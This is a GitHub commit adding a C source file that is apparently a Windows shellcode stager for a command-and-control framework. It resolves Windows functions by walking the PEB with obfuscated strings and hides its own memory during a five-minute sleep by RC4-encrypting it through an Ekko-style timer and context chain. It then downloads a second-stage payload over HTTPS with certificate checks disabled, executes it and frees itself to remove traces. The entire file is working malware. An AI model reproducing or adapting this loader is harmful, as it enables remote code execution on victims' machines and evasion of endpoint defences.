Add files via upload

This commit is contained in:
0xROOTPLS
2025-12-13 11:55:34 -05:00
committed by GitHub
parent e294f0dad9
commit 5e9c3d0315
+680
View File
@@ -0,0 +1,680 @@
#include <stdint.h>
#include <windows.h>
#include <winhttp.h>
#include <winternl.h>
#define FUNC __attribute__((section(".func")))
/* NT constants */
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)
#define STATUS_SUCCESS 0
#define MEM_COMMIT 0x1000
#define MEM_RESERVE 0x2000
#define MEM_RELEASE 0x8000
/* Stack alignment - save RSP, align, call will be made, then restore */
#define ALIGN_STACK_PRE(saved) \
__asm__ __volatile__( \
"mov %%rsp, %0;" \
"and $~0xF, %%rsp;" \
"sub $0x20, %%rsp;" \
: "=r"(saved) \
: \
: \
);
#define ALIGN_STACK_POST(saved) \
__asm__ __volatile__( \
"mov %0, %%rsp;" \
: \
: "r"(saved) \
: \
);
/* Simple no-op - let compiler handle alignment */
#define ALIGN_STACK() do { } while(0)
/* WinAPI func typedefs */
typedef HMODULE(WINAPI *fnLoadLibraryA)(LPCSTR);
typedef FARPROC(WINAPI *fnGetProcAddress)(HMODULE, LPCSTR);
typedef void(WINAPI *fnSleep)(DWORD);
typedef BOOL(WINAPI *fnCloseHandle)(HANDLE);
typedef DWORD(WINAPI *fnWaitForSingleObject)(HANDLE, DWORD);
typedef BOOL(WINAPI *fnVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef LPVOID(WINAPI *fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI *fnVirtualFree)(LPVOID, SIZE_T, DWORD);
/* sleep obf typedefs */
typedef HANDLE(WINAPI *fnCreateEventW)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR);
typedef BOOL(WINAPI *fnSetEvent)(HANDLE);
typedef HANDLE(WINAPI *fnCreateTimerQueue)(void);
typedef BOOL(WINAPI *fnCreateTimerQueueTimer)(PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
typedef BOOL(WINAPI *fnDeleteTimerQueue)(HANDLE);
typedef void(WINAPI *fnRtlCaptureContext)(PCONTEXT);
typedef NTSTATUS(NTAPI *fnNtContinue)(PCONTEXT, BOOLEAN);
/* USTRING for SystemFunction032 (RC4) - uses DWORD */
typedef struct _USTRING {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING, *PUSTRING;
typedef NTSTATUS(WINAPI *fnSystemFunction032)(PUSTRING Data, PUSTRING Key);
/* WinHTTP function typedefs */
typedef HINTERNET(WINAPI *fnWinHttpOpen)(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD);
typedef HINTERNET(WINAPI *fnWinHttpConnect)(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD);
typedef HINTERNET(WINAPI *fnWinHttpOpenRequest)(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR*, DWORD);
typedef BOOL(WINAPI *fnWinHttpSendRequest)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR);
typedef BOOL(WINAPI *fnWinHttpReceiveResponse)(HINTERNET, LPVOID);
typedef BOOL(WINAPI *fnWinHttpSetOption)(HINTERNET, DWORD, LPVOID, DWORD);
typedef BOOL(WINAPI *fnWinHttpCloseHandle)(HINTERNET);
typedef BOOL(WINAPI *fnWinHttpReadData)(HINTERNET, LPVOID, DWORD, LPDWORD);
typedef BOOL(WINAPI *fnWinHttpQueryDataAvailable)(HINTERNET, LPDWORD);
/* Global function pointers (stored on stack in main) */
typedef struct {
fnLoadLibraryA LoadLibraryA;
fnGetProcAddress GetProcAddress;
fnSleep Sleep;
fnCloseHandle CloseHandle;
fnWaitForSingleObject WaitForSingleObject;
fnVirtualProtect VirtualProtect;
fnVirtualAlloc VirtualAlloc;
fnVirtualFree VirtualFree;
/* sleep obfuscation */
fnCreateEventW CreateEventW;
fnSetEvent SetEvent;
fnCreateTimerQueue CreateTimerQueue;
fnCreateTimerQueueTimer CreateTimerQueueTimer;
fnDeleteTimerQueue DeleteTimerQueue;
fnRtlCaptureContext RtlCaptureContext;
fnNtContinue NtContinue;
fnSystemFunction032 SystemFunction032;
/* WinHTTP */
fnWinHttpOpen WinHttpOpen;
fnWinHttpConnect WinHttpConnect;
fnWinHttpOpenRequest WinHttpOpenRequest;
fnWinHttpSendRequest WinHttpSendRequest;
fnWinHttpReceiveResponse WinHttpReceiveResponse;
fnWinHttpSetOption WinHttpSetOption;
fnWinHttpCloseHandle WinHttpCloseHandle;
fnWinHttpReadData WinHttpReadData;
fnWinHttpQueryDataAvailable WinHttpQueryDataAvailable;
} ApiFunctions;
/* strcmp implementation */
FUNC int my_strcmp(const char *s1, const char *s2) {
while (*s1 && (*s1 == *s2)) { s1++; s2++; }
return *(unsigned char *)s1 - *(unsigned char *)s2;
}
/* memset implementation */
FUNC void my_memset(void *dest, int c, int n) {
char *d = (char *)dest;
while (n--) *d++ = (char)c;
}
/* memcpy implementation */
FUNC void my_memcpy(void *dest, const void *src, int n) {
char *d = (char *)dest;
const char *s = (const char *)src;
while (n--) *d++ = *s++;
}
/* wcscmp implementation */
FUNC int my_wcscmp(const wchar_t *s1, const wchar_t *s2) {
while (*s1 && (*s1 == *s2)) { s1++; s2++; }
return *s1 - *s2;
}
/* Get pointer to PEB */
FUNC PPEB GetPEB(void) {
uint64_t value = 0;
__asm__ volatile("movq %%gs:%1, %0" : "=r"(value) : "m"(*(uint64_t *)0x60) :);
return (PPEB)value;
}
/* LDR_DATA_TABLE_ENTRY structure */
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
/* Find DLL by name in PEB Ldr */
FUNC PMY_LDR_DATA_TABLE_ENTRY GetDllLdr(PPEB_LDR_DATA ldr, const wchar_t *dll_name) {
PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
PLIST_ENTRY entry = head->Flink;
while (entry != head) {
PMY_LDR_DATA_TABLE_ENTRY data = (PMY_LDR_DATA_TABLE_ENTRY)((char *)entry - sizeof(LIST_ENTRY));
if (data->BaseDllName.Buffer != NULL) {
if (my_wcscmp(data->BaseDllName.Buffer, dll_name) == 0) {
return data;
}
}
entry = entry->Flink;
}
return NULL;
}
/* Get function from export table by name */
FUNC PVOID GetProcByName(PVOID module, const char *func_name) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module;
PVOID pe_hdrs = (PVOID)((char *)module + dos->e_lfanew);
DWORD eat_rva = *(PDWORD)((char *)pe_hdrs + 0x88);
PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)((char *)module + eat_rva);
PDWORD name_rva = (PDWORD)((char *)module + eat->AddressOfNames);
PWORD ordinals = (PWORD)((char *)module + eat->AddressOfNameOrdinals);
PDWORD func_rvas = (PDWORD)((char *)module + eat->AddressOfFunctions);
for (DWORD i = 0; i < eat->NumberOfNames; i++) {
char *name = (char *)((char *)module + name_rva[i]);
if (my_strcmp(name, func_name) == 0) {
WORD ordinal = ordinals[i];
return (PVOID)((char *)module + func_rvas[ordinal]);
}
}
return NULL;
}
/*
* Fetch stage via HTTP GET - returns raw shellcode bytes
* Returns: bytes read on success, -1 on failure
* Caller must VirtualFree the returned buffer
*/
FUNC int http_get_stage(ApiFunctions *api, HINTERNET hConnect, PVOID *out_buffer, DWORD *out_size) {
wchar_t method[] = {L'G', L'E', L'T', L'\0'};
wchar_t path[] = {L'/', L's', L't', L'a', L'g', L'e', L'\0'}; /* /stage */
ALIGN_STACK();
HINTERNET hRequest = api->WinHttpOpenRequest(hConnect, method, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (!hRequest) return -1;
/* Ignore certificate errors */
DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
ALIGN_STACK();
api->WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags));
/* Send GET request */
ALIGN_STACK();
BOOL sent = api->WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!sent) {
api->WinHttpCloseHandle(hRequest);
return -1;
}
/* Receive response */
ALIGN_STACK();
if (!api->WinHttpReceiveResponse(hRequest, NULL)) {
api->WinHttpCloseHandle(hRequest);
return -1;
}
/* Read stage in chunks - first pass to determine total size */
#define CHUNK_SIZE 4096
DWORD total_size = 0;
DWORD bytes_available = 0;
/* Allocate initial buffer */
DWORD buffer_size = CHUNK_SIZE * 4; /* Start with 16KB */
PVOID buffer = api->VirtualAlloc(NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer) {
api->WinHttpCloseHandle(hRequest);
return -1;
}
/* Read all data */
while (1) {
ALIGN_STACK();
if (!api->WinHttpQueryDataAvailable(hRequest, &bytes_available)) break;
if (bytes_available == 0) break;
/* Grow buffer if needed */
if (total_size + bytes_available > buffer_size) {
DWORD new_size = buffer_size * 2;
PVOID new_buffer = api->VirtualAlloc(NULL, new_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!new_buffer) {
api->VirtualFree(buffer, 0, MEM_RELEASE);
api->WinHttpCloseHandle(hRequest);
return -1;
}
my_memcpy(new_buffer, buffer, total_size);
api->VirtualFree(buffer, 0, MEM_RELEASE);
buffer = new_buffer;
buffer_size = new_size;
}
DWORD bytes_read = 0;
ALIGN_STACK();
api->WinHttpReadData(hRequest, (char *)buffer + total_size, bytes_available, &bytes_read);
total_size += bytes_read;
}
api->WinHttpCloseHandle(hRequest);
if (total_size == 0) {
api->VirtualFree(buffer, 0, MEM_RELEASE);
return -1;
}
*out_buffer = buffer;
*out_size = total_size;
return (int)total_size;
}
/*
* Ekko-esque sleep obfuscation
* Timer chain:
* 1. VirtualProtect(RW) - make shellcode non-executable
* 2. SystemFunction032 - encrypt shellcode with RC4
* 3. WaitForSingleObject - sleep (on unsignalable handle)
* 4. SystemFunction032 - decrypt shellcode (RC4 is symmetric)
* 5. VirtualProtect(RX) - restore execute permission
* 6. SetEvent - wake main thread
*/
#define WT_EXECUTEINTIMERTHREAD 0x00000020
FUNC void protected_sleep(ApiFunctions *api, DWORD sleep_ms, PVOID shellcode_base, DWORD shellcode_size,
PVOID heap_base, DWORD heap_size) {
HANDLE hEvent = api->CreateEventW(NULL, FALSE, FALSE, NULL);
if (!hEvent) __asm__("int3"); /* Crash - no fallback */
HANDLE hTimerQueue = api->CreateTimerQueue();
if (!hTimerQueue) __asm__("int3"); /* Crash - no fallback */
DWORD OldProtect = 0;
/* RC4 key for encryption, you can change this to whatever */
char KeyBuf[16] = {0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55};
USTRING Key;
Key.Buffer = KeyBuf;
Key.Length = 16;
Key.MaximumLength = 16;
/* Image data to encrypt (shellcode) */
USTRING Img;
Img.Buffer = shellcode_base;
Img.Length = shellcode_size;
Img.MaximumLength = shellcode_size;
/* Heap data to encrypt */
USTRING Heap;
Heap.Buffer = heap_base;
Heap.Length = heap_size;
Heap.MaximumLength = heap_size;
/* Capture context from timer thread */
CONTEXT CtxThread;
my_memset(&CtxThread, 0, sizeof(CONTEXT));
HANDLE hTimer = NULL;
api->CreateTimerQueueTimer(
&hTimer,
hTimerQueue,
(WAITORTIMERCALLBACK)api->RtlCaptureContext,
&CtxThread,
0, /* Fire immediately */
0, /* No repeat */
WT_EXECUTEINTIMERTHREAD
);
/* Wait for RtlCaptureContext to run */
api->Sleep(100);
/* Verify we got a valid context (Rip should be non-zero) */
if (CtxThread.Rip == 0) __asm__("int3"); /* Crash */
/* 1. VirtualProtect(shellcode_base, size, PAGE_READWRITE, &OldProtect) */
CONTEXT RopProtRW;
my_memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD64)api->VirtualProtect;
RopProtRW.Rcx = (DWORD64)shellcode_base;
RopProtRW.Rdx = (DWORD64)shellcode_size;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD64)&OldProtect;
/* 2. SystemFunction032(&Img, &Key) - encrypt shellcode */
CONTEXT RopMemEnc;
my_memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = (DWORD64)api->SystemFunction032;
RopMemEnc.Rcx = (DWORD64)&Img;
RopMemEnc.Rdx = (DWORD64)&Key;
/* 3. SystemFunction032(&Heap, &Key) - encrypt heap */
CONTEXT RopHeapEnc;
my_memcpy(&RopHeapEnc, &CtxThread, sizeof(CONTEXT));
RopHeapEnc.Rsp -= 8;
RopHeapEnc.Rip = (DWORD64)api->SystemFunction032;
RopHeapEnc.Rcx = (DWORD64)&Heap;
RopHeapEnc.Rdx = (DWORD64)&Key;
/* 4. WaitForSingleObject(NtCurrentProcess(), sleep_ms) */
CONTEXT RopDelay;
my_memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)api->WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
RopDelay.Rdx = (DWORD64)sleep_ms;
/* 5. SystemFunction032(&Heap, &Key) - decrypt heap */
CONTEXT RopHeapDec;
my_memcpy(&RopHeapDec, &CtxThread, sizeof(CONTEXT));
RopHeapDec.Rsp -= 8;
RopHeapDec.Rip = (DWORD64)api->SystemFunction032;
RopHeapDec.Rcx = (DWORD64)&Heap;
RopHeapDec.Rdx = (DWORD64)&Key;
/* 6. SystemFunction032(&Img, &Key) - decrypt shellcode (RC4 symmetric) */
CONTEXT RopMemDec;
my_memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)api->SystemFunction032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;
/* 7. VirtualProtect(shellcode_base, size, PAGE_EXECUTE_READWRITE, &OldProtect) */
CONTEXT RopProtRX;
my_memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)api->VirtualProtect;
RopProtRX.Rcx = (DWORD64)shellcode_base;
RopProtRX.Rdx = (DWORD64)shellcode_size;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = (DWORD64)&OldProtect;
/* 8. SetEvent(hEvent) */
CONTEXT RopSetEvt;
my_memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD64)api->SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent;
/* Queue timers - full 8-step chain with shellcode + heap encryption */
/* All timers MUST succeed - no fallback allowed */
BOOL ok;
/* 1. VirtualProtect(RW) - make shellcode writable */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRW,
100, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 2. SystemFunction032 - encrypt shellcode */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemEnc,
200, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 3. SystemFunction032 - encrypt heap */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapEnc,
300, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 4. WaitForSingleObject - sleep delay */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopDelay,
400, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 5. SystemFunction032 - decrypt heap */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapDec,
500 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 6. SystemFunction032 - decrypt shellcode */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemDec,
600 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 7. VirtualProtect(RX) - restore execute permission */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRX,
700 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 8. SetEvent - wake main thread */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopSetEvt,
800 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* Wait for the chain to complete */
api->WaitForSingleObject(hEvent, INFINITE);
/* Clean up */
api->DeleteTimerQueue(hTimerQueue);
api->CloseHandle(hEvent);
}
/* Initial sleep delay in ms (5 min) */
#define INITIAL_SLEEP_MS 300000
/* Entry point - loader passes shellcode base and size */
int start(PVOID shellcode_base, DWORD shellcode_size) {
ApiFunctions api;
PPEB peb = GetPEB();
/* ========== STAGE 1: API RESOLUTION ========== */
/* Resolve kernel32 functions */
char s_LoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
char s_GetProcAddress[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
char s_Sleep[] = {'S','l','e','e','p','\0'};
char s_CloseHandle[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
char s_WaitForSingleObject[] = {'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0'};
char s_VirtualProtect[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t','\0'};
char s_VirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c','\0'};
char s_VirtualFree[] = {'V','i','r','t','u','a','l','F','r','e','e','\0'};
/* Ekko - kernel32 */
char s_CreateEventW[] = {'C','r','e','a','t','e','E','v','e','n','t','W','\0'};
char s_SetEvent[] = {'S','e','t','E','v','e','n','t','\0'};
char s_CreateTimerQueue[] = {'C','r','e','a','t','e','T','i','m','e','r','Q','u','e','u','e','\0'};
char s_CreateTimerQueueTimer[] = {'C','r','e','a','t','e','T','i','m','e','r','Q','u','e','u','e','T','i','m','e','r','\0'};
char s_DeleteTimerQueue[] = {'D','e','l','e','t','e','T','i','m','e','r','Q','u','e','u','e','\0'};
/* Ekko - ntdll */
char s_RtlCaptureContext[] = {'R','t','l','C','a','p','t','u','r','e','C','o','n','t','e','x','t','\0'};
char s_NtContinue[] = {'N','t','C','o','n','t','i','n','u','e','\0'};
/* Get kernel32.dll */
wchar_t kernel32_name[] = {L'K', L'E', L'R', L'N', L'E', L'L', L'3', L'2', L'.', L'D', L'L', L'L', L'\0'};
PMY_LDR_DATA_TABLE_ENTRY kernel32_ldr = GetDllLdr(peb->Ldr, kernel32_name);
PVOID kernel32 = kernel32_ldr->DllBase;
api.LoadLibraryA = (fnLoadLibraryA)GetProcByName(kernel32, s_LoadLibraryA);
api.GetProcAddress = (fnGetProcAddress)GetProcByName(kernel32, s_GetProcAddress);
api.Sleep = (fnSleep)GetProcByName(kernel32, s_Sleep);
api.CloseHandle = (fnCloseHandle)GetProcByName(kernel32, s_CloseHandle);
api.WaitForSingleObject = (fnWaitForSingleObject)GetProcByName(kernel32, s_WaitForSingleObject);
api.VirtualProtect = (fnVirtualProtect)GetProcByName(kernel32, s_VirtualProtect);
api.VirtualAlloc = (fnVirtualAlloc)GetProcByName(kernel32, s_VirtualAlloc);
api.VirtualFree = (fnVirtualFree)GetProcByName(kernel32, s_VirtualFree);
/* Ekko - kernel32 */
api.CreateEventW = (fnCreateEventW)GetProcByName(kernel32, s_CreateEventW);
api.SetEvent = (fnSetEvent)GetProcByName(kernel32, s_SetEvent);
api.CreateTimerQueue = (fnCreateTimerQueue)GetProcByName(kernel32, s_CreateTimerQueue);
api.CreateTimerQueueTimer = (fnCreateTimerQueueTimer)GetProcByName(kernel32, s_CreateTimerQueueTimer);
api.DeleteTimerQueue = (fnDeleteTimerQueue)GetProcByName(kernel32, s_DeleteTimerQueue);
/* Ekko - ntdll */
char s_ntdll[] = {'n','t','d','l','l','.','d','l','l','\0'};
HMODULE hNtdll = api.LoadLibraryA(s_ntdll);
if (!hNtdll) return 1;
api.RtlCaptureContext = (fnRtlCaptureContext)GetProcByName(hNtdll, s_RtlCaptureContext);
api.NtContinue = (fnNtContinue)GetProcByName(hNtdll, s_NtContinue);
/* Load advapi32.dll for SystemFunction032 (RC4) */
char s_advapi32[] = {'a','d','v','a','p','i','3','2','.','d','l','l','\0'};
char s_SystemFunction032[] = {'S','y','s','t','e','m','F','u','n','c','t','i','o','n','0','3','2','\0'};
ALIGN_STACK();
HMODULE hAdvapi32 = api.LoadLibraryA(s_advapi32);
/* SystemFunction032 is FORWARDED to cryptsp.dll - must use GetProcAddress which handles forwarding */
api.SystemFunction032 = (fnSystemFunction032)api.GetProcAddress(hAdvapi32, s_SystemFunction032);
/* Load winhttp.dll */
char s_winhttp[] = {'w','i','n','h','t','t','p','.','d','l','l','\0'};
ALIGN_STACK();
HMODULE hWinHttp = api.LoadLibraryA(s_winhttp);
if (!hWinHttp) return 1;
char s_WinHttpOpen[] = {'W','i','n','H','t','t','p','O','p','e','n','\0'};
char s_WinHttpConnect[] = {'W','i','n','H','t','t','p','C','o','n','n','e','c','t','\0'};
char s_WinHttpOpenRequest[] = {'W','i','n','H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','\0'};
char s_WinHttpSendRequest[] = {'W','i','n','H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','\0'};
char s_WinHttpReceiveResponse[] = {'W','i','n','H','t','t','p','R','e','c','e','i','v','e','R','e','s','p','o','n','s','e','\0'};
char s_WinHttpSetOption[] = {'W','i','n','H','t','t','p','S','e','t','O','p','t','i','o','n','\0'};
char s_WinHttpCloseHandle[] = {'W','i','n','H','t','t','p','C','l','o','s','e','H','a','n','d','l','e','\0'};
char s_WinHttpReadData[] = {'W','i','n','H','t','t','p','R','e','a','d','D','a','t','a','\0'};
char s_WinHttpQueryDataAvailable[] = {'W','i','n','H','t','t','p','Q','u','e','r','y','D','a','t','a','A','v','a','i','l','a','b','l','e','\0'};
api.WinHttpOpen = (fnWinHttpOpen)GetProcByName(hWinHttp, s_WinHttpOpen);
api.WinHttpConnect = (fnWinHttpConnect)GetProcByName(hWinHttp, s_WinHttpConnect);
api.WinHttpOpenRequest = (fnWinHttpOpenRequest)GetProcByName(hWinHttp, s_WinHttpOpenRequest);
api.WinHttpSendRequest = (fnWinHttpSendRequest)GetProcByName(hWinHttp, s_WinHttpSendRequest);
api.WinHttpReceiveResponse = (fnWinHttpReceiveResponse)GetProcByName(hWinHttp, s_WinHttpReceiveResponse);
api.WinHttpSetOption = (fnWinHttpSetOption)GetProcByName(hWinHttp, s_WinHttpSetOption);
api.WinHttpCloseHandle = (fnWinHttpCloseHandle)GetProcByName(hWinHttp, s_WinHttpCloseHandle);
api.WinHttpReadData = (fnWinHttpReadData)GetProcByName(hWinHttp, s_WinHttpReadData);
api.WinHttpQueryDataAvailable = (fnWinHttpQueryDataAvailable)GetProcByName(hWinHttp, s_WinHttpQueryDataAvailable);
/* PROTECTED SLEEP */
/* Allocate small heap buffer for sleep obfuscation (no persistent data needed for stager) */
#define HEAP_SIZE 0x1000 /* 4KB - minimal for stager */
PVOID heap_buffer = api.VirtualAlloc(NULL, HEAP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!heap_buffer) return 1;
/* Sleep with ekko-style obfuscation */
protected_sleep(&api, INITIAL_SLEEP_MS, shellcode_base, shellcode_size, heap_buffer, HEAP_SIZE);
/* FETCH STAGE FROM SERVER */
/* Open WinHTTP session */
wchar_t user_agent[] = {L'M','o','z','i','l','l','a',L'\0'};
ALIGN_STACK();
HINTERNET hSession = api.WinHttpOpen(user_agent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) return 1;
/* Connect to server */
wchar_t server[] = {L'1',L'2',L'7',L'.',L'0',L'.',L'0',L'.',L'1',L'\0'};
ALIGN_STACK();
HINTERNET hConnect = api.WinHttpConnect(hSession, server, 443, 0);
if (!hConnect) {
api.WinHttpCloseHandle(hSession);
return 1;
}
/* Fetch stage (raw shellcode bytes) */
PVOID stage_buffer = NULL;
DWORD stage_size = 0;
if (http_get_stage(&api, hConnect, &stage_buffer, &stage_size) <= 0) {
api.WinHttpCloseHandle(hConnect);
api.WinHttpCloseHandle(hSession);
return 1;
}
/* Clean up HTTP handles - no longer needed */
api.WinHttpCloseHandle(hConnect);
api.WinHttpCloseHandle(hSession);
/* EXECUTE STAGE */
/* Make stage executable */
DWORD old_protect = 0;
ALIGN_STACK();
if (!api.VirtualProtect(stage_buffer, stage_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
api.VirtualFree(stage_buffer, 0, MEM_RELEASE);
return 1;
}
/* TIMER-BASED EXECUTE + ZERO */
/* Free heap buffer before handoff */
api.VirtualFree(heap_buffer, 0, MEM_RELEASE);
/*
* Use timer queue to:
* 1. Execute stage (T+0)
* 2. Zero stager memory (T+100ms) ->> runs while stage executes
* This allows self-zeroing without corrupting executing code =D
*/
HANDLE hTimerQueue = api.CreateTimerQueue();
if (!hTimerQueue) {
/* Fallback: just execute directly */
typedef void (*stage_fn)(void);
((stage_fn)stage_buffer)();
return 0;
}
/* Capture context from timer thread */
CONTEXT CtxThread;
my_memset(&CtxThread, 0, sizeof(CONTEXT));
HANDLE hTimer = NULL;
api.CreateTimerQueueTimer(
&hTimer,
hTimerQueue,
(WAITORTIMERCALLBACK)api.RtlCaptureContext,
&CtxThread,
0, 0, WT_EXECUTEINTIMERTHREAD
);
api.Sleep(100);
if (CtxThread.Rip == 0) {
/* Fallback: just execute directly */
typedef void (*stage_fn)(void);
((stage_fn)stage_buffer)();
return 0;
}
/* Context 1: Execute stage */
CONTEXT RopExecStage;
my_memcpy(&RopExecStage, &CtxThread, sizeof(CONTEXT));
RopExecStage.Rsp -= 8;
RopExecStage.Rip = (DWORD64)stage_buffer;
/* Context 2: VirtualFree(shellcode_base, 0, MEM_RELEASE) - zeros by freeing */
CONTEXT RopZeroStager;
my_memcpy(&RopZeroStager, &CtxThread, sizeof(CONTEXT));
RopZeroStager.Rsp -= 8;
RopZeroStager.Rip = (DWORD64)api.VirtualFree;
RopZeroStager.Rcx = (DWORD64)shellcode_base;
RopZeroStager.Rdx = 0;
RopZeroStager.R8 = MEM_RELEASE;
/* Timer 1: Execute stage immediately */
api.CreateTimerQueueTimer(
&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api.NtContinue, &RopExecStage,
0, 0, WT_EXECUTEINTIMERTHREAD
);
/* Timer 2: Free stager after 100ms delay */
api.CreateTimerQueueTimer(
&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api.NtContinue, &RopZeroStager,
100, 0, WT_EXECUTEINTIMERTHREAD
);
/* Block forever - stage takes over, stager gets freed by timer */
api.WaitForSingleObject(NtCurrentProcess(), INFINITE);
return 0;
}